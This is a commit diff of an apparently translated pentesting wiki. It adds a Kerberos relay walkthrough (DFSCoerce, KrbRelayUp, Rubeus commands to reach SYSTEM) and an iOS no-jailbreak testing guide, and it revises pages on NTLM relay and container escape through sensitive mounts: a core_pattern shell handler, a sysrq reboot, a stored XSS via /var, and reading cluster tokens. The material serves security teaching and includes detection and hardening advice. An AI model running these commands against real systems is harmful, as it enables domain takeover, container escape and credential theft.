Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-05-11 15:10:27 +00:00
parent 18b6c275e5
commit 2a6ac43cf0
5 changed files with 255 additions and 63 deletions

View File

@ -316,6 +316,7 @@
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)

View File

@ -15,13 +15,13 @@
### Web 代理自动发现协议 (WPAD)
- WPAD 允许浏览器自动发现代理设置。
- 发现通过 DHCP、DNS 进行,如果 DNS 失败则回退到 LLMNR 和 NBT-NS
- 通过 DHCP、DNS 或在 DNS 失败时回退到 LLMNR 和 NBT-NS 来促进发现
- Responder 可以自动化 WPAD 攻击,将客户端引导到恶意 WPAD 服务器。
### Responder 用于协议中毒
- **Responder** 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具,根据查询类型选择性响应,主要针对 SMB 服务。
- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 进行配置。
- 它在 Kali Linux 中预装,可在 `/etc/responder/Responder.conf` 配置。
- Responder 在屏幕上显示捕获的哈希并将其保存在 `/usr/share/responder/logs` 目录中。
- 它支持 IPv4 和 IPv6。
- Windows 版本的 Responder 可在 [这里](https://github.com/lgandx/Responder-Windows) 获取。
@ -46,11 +46,11 @@
- Responder 将使用上述协议冒充服务,当用户尝试对伪造的服务进行身份验证时捕获凭据(通常是 NTLMv2 挑战/响应)。
- 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便于凭据破解。
重要的是要注意,使用这些技术应合法和道德,确保获得适当授权,避免干扰或未经授权的访问。
重要的是要注意,使用这些技术应合法和道德,确保获得适当授权,避免干扰或未经授权的访问。
## Inveigh
Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供与 Responder 类似的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
Inveigh 是一个针对 Windows 系统的渗透测试人员和红队成员设计的工具。它提供类似于 Responder 的功能,执行欺骗和中间人攻击。该工具已从 PowerShell 脚本演变为 C# 二进制文件,主要版本为 [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) 和 [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero)。详细参数和说明可以在 [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) 中找到。
Inveigh 可以通过 PowerShell 操作:
```bash
@ -69,7 +69,7 @@ Inveigh.exe
#### 445 端口转发和隧道
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动加载的本地管理员访问时至关重要。
在直接网络引入不可行的情况下,需要转发和隧道 445 端口上的流量。像 [**PortBender**](https://github.com/praetorian-inc/PortBender) 这样的工具有助于将 445 端口流量重定向到另一个端口,这在可以进行驱动程序加载的本地管理员访问时至关重要。
PortBender 在 Cobalt Strike 中的设置和操作:
```bash
@ -87,10 +87,10 @@ beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### 其他 NTLM 继攻击工具
### NTLM 继攻击的其他工具
- **Metasploit**: 配置代理、本地和远程主机详细信息。
- **smbrelayx**: 一个用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
- **smbrelayx**: 用于中继 SMB 会话并执行命令或部署后门的 Python 脚本。
- **MultiRelay**: Responder 套件中的一个工具,用于中继特定用户或所有用户,执行命令或转储哈希。
每个工具都可以配置通过 SOCKS 代理操作,如果需要,即使在间接网络访问的情况下也能进行攻击。
@ -109,12 +109,115 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
### 强制 NTLM 登录
在 Windows 中,您**可能能够强制某些特权账户对任意机器进行身份验证**。请阅读以下页面以了解如何操作
在 Windows 中,您**可能能够强制某些特权账户对任意机器进行身份验证**。请阅读以下页面以了解如何:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberos 中继攻击
**Kerberos 中继攻击**从一个服务窃取 **AP-REQ 票证**,并将其重新用于共享 **相同计算机账户密钥** 的第二个服务(因为两个 SPN 位于同一 `$` 机器账户上)。即使 SPN 的 **服务类别不同**(例如 `CIFS/``LDAP/`),这也有效,因为解密票证的 *密钥* 是机器的 NT 哈希,而不是 SPN 字符串本身SPN 字符串不是签名的一部分。
与 NTLM 中继不同,跳转仅限于 *同一主机*,但是,如果您针对允许您写入 LDAP 的协议,您可以链入 **基于资源的受限委派 (RBCD)****AD CS 注册**,并在一次操作中获取 **NT AUTHORITY\SYSTEM**
有关此攻击的详细信息,请查看:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Kerberos 基础知识**
| 令牌 | 目的 | 中继相关性 |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | 向 KDC 证明用户 | 未触及 |
| **服务票证 / TGS-REQ ↔ REP** | 绑定到一个 **SPN**;使用 SPN 拥有者的密钥加密 | 如果 SPN 共享账户则可互换 |
| **AP-REQ** | 客户端将 `TGS` 发送到服务 | **我们窃取和重放的内容** |
* 票证使用 **拥有 SPN 的账户的密码派生密钥** 加密。
* AP-REQ 内的 **Authenticator** 有一个 5 分钟的时间戳;在该窗口内重放有效,直到服务缓存看到重复。
* Windows 很少检查票证中的 SPN 字符串是否与您访问的服务匹配,因此 `CIFS/HOST` 的票证通常可以在 `LDAP/HOST` 上正常解密。
- 2. **中继 Kerberos 的条件**
1. **共享密钥:** 源和目标 SPN 属于同一计算机账户Windows 服务器的默认设置)。
2. **无通道保护:** SMB/LDAP 签名关闭HTTP/LDAPS 的 EPA 关闭。
3. **您可以拦截或强制身份验证:** LLMNR/NBNS 中毒DNS 欺骗,**PetitPotam / DFSCoerce RPC**,伪造 AuthIP恶意 DCOM 等。
4. **票证来源未被使用:** 您在真实数据包到达之前赢得比赛或完全阻止它;否则服务器的重放缓存会触发事件 4649。
5. 您需要以某种方式能够在通信中执行 **MitM**,可能是 DNSAmins 组的一部分,以修改域的 DNS 或能够更改受害者的 HOST 文件。
### Kerberos 中继步骤
- 3.1 **侦察主机**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **启动中继监听器**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp`**KrbRelay → LDAP → RBCD → Rubeus → SCM 绕过** 包装在一个二进制文件中。
- 3.3 **强制 Kerberos 认证**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce使DC向我们发送Kerberos `CIFS/DC01`票证。
- 3.4 **中继AP-REQ**
KrbRelay从SMB中提取GSS blob将其重新打包为LDAP绑定并将其转发到`ldap://DC01`——身份验证成功,因为**相同的密钥**解密了它。
- 3.5 **滥用LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
您现在拥有 **NT AUTHORITY\SYSTEM**
### **值得了解的更多路径**
| 向量 | 技巧 | 重要性 |
|--------|-------|----------------|
| **AuthIP / IPSec** | 假服务器发送 **GSS-ID 负载**,带有任何 SPN客户端直接向您构建 AP-REQ | 即使跨子网也有效;默认情况下机器凭据 |
| **DCOM / MSRPC** | 恶意 OXID 解析器强迫客户端对任意 SPN 和端口进行身份验证 | 纯 *本地* 权限提升;绕过防火墙 |
| **AD CS Web Enroll** | 将机器票据中继到 `HTTP/CA` 并获取证书,然后 **PKINIT** 生成 TGT | 绕过 LDAP 签名防御 |
| **Shadow Credentials** | 写入 `msDS-KeyCredentialLink`,然后使用伪造的密钥对进行 PKINIT | 无需添加计算机帐户 |
### **故障排除**
| 错误 | 意义 | 修复 |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | 票据密钥 ≠ 目标密钥 | 错误的主机/SPN |
| `KRB_AP_ERR_SKEW` | 时钟偏差 > 5 分钟 | 同步时间或使用 `w32tm` |
| LDAP 绑定失败 | 强制签名 | 使用 AD CS 路径或禁用签名 |
| 事件 4649 垃圾邮件 | 服务看到重复的身份验证器 | 阻止或竞争原始数据包 |
### **检测**
* 在几秒钟内,来自同一来源的 **Event 4769** 激增,针对 `CIFS/``HTTP/``LDAP/`
* 服务上的 **Event 4649** 表示检测到重放。
* 来自 **127.0.0.1** 的 Kerberos 登录(中继到本地 SCM高度可疑—通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
* 监视对 `msDS-AllowedToActOnBehalfOfOtherIdentity``msDS-KeyCredentialLink` 属性的更改。
## **加固**
1. 在每台服务器上 **强制 LDAP 和 SMB 签名 + EPA**
2. **拆分 SPN**,使 HTTP 不与 CIFS/LDAP 在同一帐户上。
3. 修补强制向量PetitPotam KB5005413、DFS、AuthIP
4. 设置 **`ms-DS-MachineAccountQuota = 0`** 以阻止恶意计算机加入。
5. 对 **Event 4649** 和意外的回环 Kerberos 登录发出警报。
## 参考文献
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)

View File

@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
暴露 `/proc``/sys``/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 没有保护
暴露 `/proc``/sys``/var` 而没有适当的命名空间隔离会引入重大安全风险,包括攻击面扩大和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,错误地挂载 `-v /proc:/host/proc` 可能会由于其基于路径的特性绕过 AppArmor 保护,使得 `/host/proc` 处于未保护状态
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** 中找到每个潜在漏洞的更多详细信息。**
@ -10,24 +10,36 @@
### `/proc/sys`
该目录允许访问以修改内核变量,通常通过 `sysctl(2)`,并包含几个关注的子目录:
该目录允许访问以修改内核变量,通常通过 `sysctl(2)`,并包含几个值得关注的子目录:
#### **`/proc/sys/kernel/core_pattern`**
- 在 [core(5)](https://man7.org/linux/man-pages/man5/core.5.html) 中描述。
- 允许定义在生成核心文件时执行的程序,前 128 字节作为参数。如果文件以管道 `|` 开头,可能导致代码执行。
- 如果您可以写入此文件,则可以写入一个管道 `|`,后跟将在崩溃发生后执行的程序或脚本的路径。
- 攻击者可以通过执行 `mount` 找到主机中其容器的路径,并将路径写入其容器文件系统中的二进制文件。然后,崩溃一个程序以使内核在容器外执行该二进制文件。
- **测试和利用示例**
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 测试写入访问
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # 设置自定义处理程序
sleep 5 && ./crash & # 触发处理程序
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
检查 [this post](https://pwning.systems/posts/escaping-containers-for-fun/) 以获取更多信息。
崩溃的示例程序:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**
- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
- 包含内核模块加载器的路径,用于加载内核模块。
- **检查访问示例**
@ -37,23 +49,23 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
#### **`/proc/sys/vm/panic_on_oom`**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用
- 参考 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
- 一个全局标志,控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。
#### **`/proc/sys/fs`**
- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
- 写入访问可能会启用对主机的各种拒绝服务攻击。
- 写入访问可能会启用对主机的各种拒绝服务攻击。
#### **`/proc/sys/fs/binfmt_misc`**
- 允许根据魔数注册非本地二进制格式的解释器。
- 允许根据魔注册非本地二进制格式的解释器。
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写,可能导致特权升级或 root shell 访问。
- 相关利用和解释:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- 相关漏洞和解释:
- [通过 binfmt_misc 的穷人根工具包](https://github.com/toffan/binfmt_misc)
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### `/proc` 中的其他内容
### 其他 `/proc` 中的内容
#### **`/proc/config.gz`**
@ -72,12 +84,12 @@ echo b > /proc/sysrq-trigger # 重启主机
#### **`/proc/kmsg`**
- 暴露内核环形缓冲区消息。
- 可以帮助内核利用、地址泄露,并提供敏感系统信息。
- 可以帮助进行内核漏洞利用、地址泄漏,并提供敏感系统信息。
#### **`/proc/kallsyms`**
- 列出内核导出的符号及其地址。
- 对于内核利用开发至关重要,尤其是在克服 KASLR 时。
- 对于内核漏洞开发至关重要,尤其是在克服 KASLR 时。
- 地址信息在 `kptr_restrict` 设置为 `1``2` 时受到限制。
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
@ -90,9 +102,9 @@ echo b > /proc/sysrq-trigger # 重启主机
#### **`/proc/kcore`**
- 以 ELF 核心格式表示系统的物理内存。
- 读取可能泄露主机系统和其他容器的内存内容。
- 读取可能泄露主机系统和其他容器的内存内容。
- 大文件大小可能导致读取问题或软件崩溃。
- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
- 详细用法见 [2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
#### **`/proc/kmem`**
@ -158,17 +170,17 @@ cat /output %%%
#### **`/sys/firmware/efi/vars``/sys/firmware/efi/efivars`**
- 暴露与 NVRAM 中的 EFI 变量交互的接口。
- 配置错误或利用可能导致笔记本电脑砖化或主机无法启动。
- 错误配置或利用可能导致笔记本电脑砖化或主机无法启动。
#### **`/sys/kernel/debug`**
- `debugfs` 提供了一个“无规则”的内核调试接口。
- 由于其不受限制的性,历史上存在安全问题。
- `debugfs` 提供了一个“无规则”的调试接口给内核
- 由于其不受限制的性,历史上存在安全问题。
### `/var` 漏洞
主机的 **/var** 文件夹包含容器运行时套接字和容器的文件系统。
如果该文件夹在容器内挂载,该容器将获得对其他容器文件系统的读写访问权限
如果该文件夹在容器内挂载,该容器将获得对其他容器文件系统的读写访问权限
并具有 root 权限。这可能被滥用以在容器之间进行切换,导致拒绝服务,或为其他
容器和在其中运行的应用程序设置后门。
@ -217,7 +229,7 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
```
XSS 是通过以下方式实现的
XSS 已实现
![通过挂载的 /var 文件夹存储的 XSS](/images/stored-xss-via-mounted-var-folder.png)
@ -227,7 +239,7 @@ XSS 是通过以下方式实现的:
##### 访问云凭证
容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌,这允许容器获得对 K8s 或云的未经授权访问:
容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌,这使得容器能够获得对 K8s 或云的未经授权访问:
```bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@ -238,7 +250,7 @@ XSS 是通过以下方式实现的:
```
#### Docker
在Docker或Docker Compose部署中的利用方式完全相同只是通常其他容器的文件系统在不同的基础路径下可用:
在Docker或Docker Compose部署中的利用方式完全相同唯一的区别是其他容器的文件系统通常在不同的基础路径下可用:
```bash
$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2

View File

@ -0,0 +1,71 @@
# iOS Pentesting without Jailbreak
{{#include ../../banners/hacktricks-training.md}}
## 主要思想
使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数,参数为初始应用程序的进程 ID以便获取其任务端口能够控制它并访问其内存
然而,这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时DRM数字版权管理密钥会 **失效,应用程序将无法工作**
在旧的越狱设备上,可以安装 IPA**使用你喜欢的工具进行解密**(例如 Iridium 或 frida-ios-dump然后将其提取回设备上。尽管如此如果可能的话建议直接向客户请求解密后的 IPA。
## 获取解密的 IPA
### 从 Apple 获取
1. 在 iPhone 上安装要进行渗透测试的应用程序
2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)
3. 在你的 Mac 上打开 `Terminal`,并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。
4. 你应该能看到你的 iOS 设备。双击它,然后点击顶部菜单栏中的 Add + → Apps。
5. 点击 Add 后Configurator 将从 Apple 下载 IPA并尝试将其推送到你的设备。如果你之前遵循了我的建议并已安装 IPA将会出现提示要求你重新安装应用程序。
6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`,你可以从那里获取它。
查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。
### 解密应用程序
为了解密 IPA我们将安装它。然而如果你有一部旧的越狱 iPhone可能其版本不被应用程序支持因为通常应用程序只支持最新版本。
因此,为了安装它,只需解压 IPA
```bash
unzip redacted.ipa -d unzipped
```
检查 `Info.plist` 以获取最低支持版本,如果您的设备早于该版本,请更改该值以使其受支持。
将 IPA 压缩回去:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
```
然后使用以下命令安装IPA
```bash
ideviceinstaller -i no-min-version.ipa -w
```
请注意,您可能需要从 Cydia 安装 **AppSync Unified tweak** 以防止任何 `invalid signature` 错误。
安装后,您可以使用 Cydia 中的 **Iridium tweak** 来获取解密的 IPA。
### 修补权限和重新签名
为了使用 `get-task-allow` 权限重新签名应用程序,有几种可用的工具,如 `app-signer``codesign``iResign``app-signer` 具有非常用户友好的界面,可以非常轻松地重新签名 IPA 文件,指明要重新签名的 IPA、**将其设置为 `get-task-allow`** 以及要使用的证书和配置文件。
关于证书和签名配置文件Apple 通过 Xcode 为所有账户提供 **免费的开发者签名配置文件**。只需创建一个应用并配置一个。然后,通过导航到 `Settings``Privacy & Security`,点击 `Developer Mode` 来配置 **iPhone 以信任开发者应用**
使用重新签名的 IPA现在可以将其安装到设备上进行渗透测试
```bash
ideviceinstaller -i resigned.ipa -w
```
### Hook
您可以使用常见工具如 frida 和 objection 轻松地挂钩您的应用程序:
```bash
objection -g [your app bundle ID] explore
```
## 参考
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## Apple 开发者计划
**Provisioning identity** 是与 Apple 开发者账户关联的一组公钥和私钥。为了**签名应用程序**,您需要支付**99$/年**注册**Apple 开发者计划**以获取您的 provisioning identity。没有这个将无法在物理设备上从源代码运行应用程序。另一个选择是使用**越狱设备**。
一个 **provisioning identity** 是与 Apple 开发者账户关联的一组公钥和私钥。为了 **签名应用**,你需要支付 **99$/年** 注册 **Apple 开发者计划** 以获取你的 provisioning identity。没有这个将无法在物理设备上从源代码运行应用程序。另一个选择是使用 **越狱设备**
从 Xcode 7.2 开始Apple 提供了创建**免费 iOS 开发 provisioning profile**的选项,允许您在真实的 iPhone 上编写和测试您的应用程序。前往 _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (添加新的 Appli ID 和您的凭据) --> _点击创建的 Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_然后为了在您的 iPhone 上运行应用程序,您首先需要**指示 iPhone 信任计算机。** 然后,您可以尝试**从 Xcode 在移动设备上运行应用程序,**但会出现错误。因此,前往 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 选择不受信任的配置文件并点击“**信任**”
从 Xcode 7.2 开始Apple 提供了创建 **免费 iOS 开发 provisioning profile** 的选项,允许你在真实的 iPhone 上编写和测试你的应用。前往 _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (添加新的 Appli ID 及你的凭据) --> _点击创建的 Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_然后为了在你的 iPhone 上运行应用,你首先需要 **指示 iPhone 信任计算机。** 然后,你可以尝试 **从 Xcode 在移动设备上运行应用,** 但会出现错误。因此,前往 _Settings_ --> _General_ --> _Profiles and Device Management_ --> 选择不受信任的配置文件并点击 "**Trust**"
请注意,**由相同签名证书签名的应用程序可以以安全的方式共享资源,例如钥匙串项**。
请注意,**由相同签名证书签名的应用可以以安全的方式共享资源,例如钥匙串项**。
Provisioning profiles 存储在手机内的 **`/Library/MobileDevice/ProvisioningProfiles`**
配置文件存储在手机内的 **`/Library/MobileDevice/ProvisioningProfiles`**
## **模拟器**
@ -20,33 +20,33 @@ Provisioning profiles 存储在手机内的 **`/Library/MobileDevice/Provisionin
### **模拟器**
您需要知道的第一件事是,**在模拟器内进行渗透测试的限制要比在越狱设备上进行的要大得多**。
你需要知道的第一件事是,**在模拟器内进行渗透测试的限制远大于在越狱设备上进行的限制**。
构建和支持 iOS 应用程序所需的所有工具**仅在 Mac OS 上正式支持**。\
Apple 用于创建/调试/插桩 iOS 应用程序的事实工具是**Xcode**。它可用于下载其他组件,例如**模拟器**和构建和**测试**您的应用程序所需的不同**SDK** **版本**。\
强烈建议从**官方应用商店**下载 Xcode。其他版本可能携带恶意软件。
构建和支持 iOS 应用所需的所有工具 **仅在 Mac OS 上正式支持**。\
Apple 用于创建/调试/插桩 iOS 应用的事实标准工具是 **Xcode**。它可用于下载其他组件,例如 **模拟器** 和不同**SDK** **版本**,以构建和 **测试** 你的应用。\
强烈建议从 **官方应用商店** 下载 Xcode。其他版本可能携带恶意软件。
模拟器文件可以在 `/Users/<username>/Library/Developer/CoreSimulator/Devices` 中找到。
要打开模拟器,运行 Xcode然后在 _Xcode 标签_ 中按 --> _Open Developer tools_ --> _Simulator_\
\_\_在下图中点击“iPod touch \[...\]”可以选择其他设备进行测试:
要打开模拟器,运行 Xcode然后在 _Xcode 标签_ 中按 --> _Open Developer tools_ --> _Simulator_\
\_\_在下图中点击 "iPod touch \[...\]" 你可以选择其他设备进行测试:
![](<../../images/image (270).png>)
![](<../../images/image (520).png>)
### 模拟器中的应用程序
### 模拟器中的应用
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 中,您可以找到所有**已安装的模拟器**。如果您想访问在其中一个仿真器中创建的应用程序的文件,可能很难知道**应用程序安装在哪个仿真器中**。快速找到**正确的 UID**的方法是先在模拟器中执行应用程序,然后执行:
`/Users/<username>/Library/Developer/CoreSimulator/Devices` 中,你可以找到所有 **已安装的模拟器**。如果你想访问在其中一个仿真器内创建的应用的文件,可能很难知道 **应用安装在哪个仿真器中**。快速找到 **正确的 UID** 的方法是,在模拟器中执行应用并执行:
```bash
xcrun simctl list | grep Booted
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
```
一旦你知道了 UID可以在 `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` 中找到安装的应用程序
一旦你知道了 UID安装在其中的应用可以在 `/Users/<username>/Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` 中找到。
然而,令人惊讶的是,你在这里找不到应用程序。你需要访问 `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
然而,令人惊讶的是,你在这里找不到应用。你需要访问 `/Users/<username>/Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/`
在这个文件夹中,你可以**找到应用程序的包**。
在这个文件夹中,你可以**找到应用的包**。
## 模拟器
@ -54,47 +54,51 @@ Corellium 是唯一公开可用的 iOS 模拟器。它是一个企业级 SaaS
## 无需越狱
查看这篇关于如何在**未越狱设备**上进行 iOS 应用程序渗透测试的博客文章:[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
查看这篇博客文章,了解如何在**非越狱设备**上进行 iOS 应用的渗透测试:
{{#ref}}
ios-pentesting-without-jailbreak.md
{{#endref}}
## 越狱
苹果严格要求在 iPhone 上运行的代码必须是**由苹果签发的证书签名的**。**越狱**是主动**规避此类限制**和操作系统施加的其他安全控制的过程。因此,一旦设备越狱,负责检查应用程序安装的**完整性检查**就会被修补,从而**绕过**。
苹果严格要求在 iPhone 上运行的代码必须是**由苹果签发的证书签名的**。**越狱**是主动**规避这些限制**和操作系统施加的其他安全控制的过程。因此,一旦设备越狱,负责检查应用安装的**完整性检查**就会被修补,从而**绕过**。
> [!NOTE]
> 与 Android 不同,**你不能在 iOS 中切换到“开发者模式”**以在设备上运行未签名/不受信任的代码。
### Android Rooting 与 iOS 越狱
虽然经常被比较,Android 的**rooting**和 iOS 的**越狱**在本质上是不同的过程。对 Android 设备进行 root 可能涉及**安装 `su` 二进制文件**或**用已 root 的自定义 ROM 替换系统**,如果引导加载程序已解锁,则不一定需要利用漏洞。**闪存自定义 ROM**在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。
虽然经常被比较,**Android 的 root** 和 **iOS 的越狱** 是根本不同的过程。对 Android 设备进行 root 可能涉及**安装 `su` 二进制文件**或**用已 root 的自定义 ROM 替换系统**,如果引导加载程序已解锁,则不一定需要利用漏洞。**闪存自定义 ROM** 在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。
相比之下由于引导加载程序限制只能启动苹果签名的镜像iOS 设备无法闪存自定义 ROM。**越狱 iOS**旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。
相比之下由于引导加载程序限制只能启动苹果签名的镜像iOS 设备无法闪存自定义 ROM。**越狱 iOS** 旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。
### 越狱挑战
越狱 iOS 变得越来越困难,因为苹果迅速修补漏洞。**降级 iOS**仅在发布后有限时间内可能,越狱是一个时间敏感的问题。用于安全测试的设备在确保重新越狱的情况下不应更新。
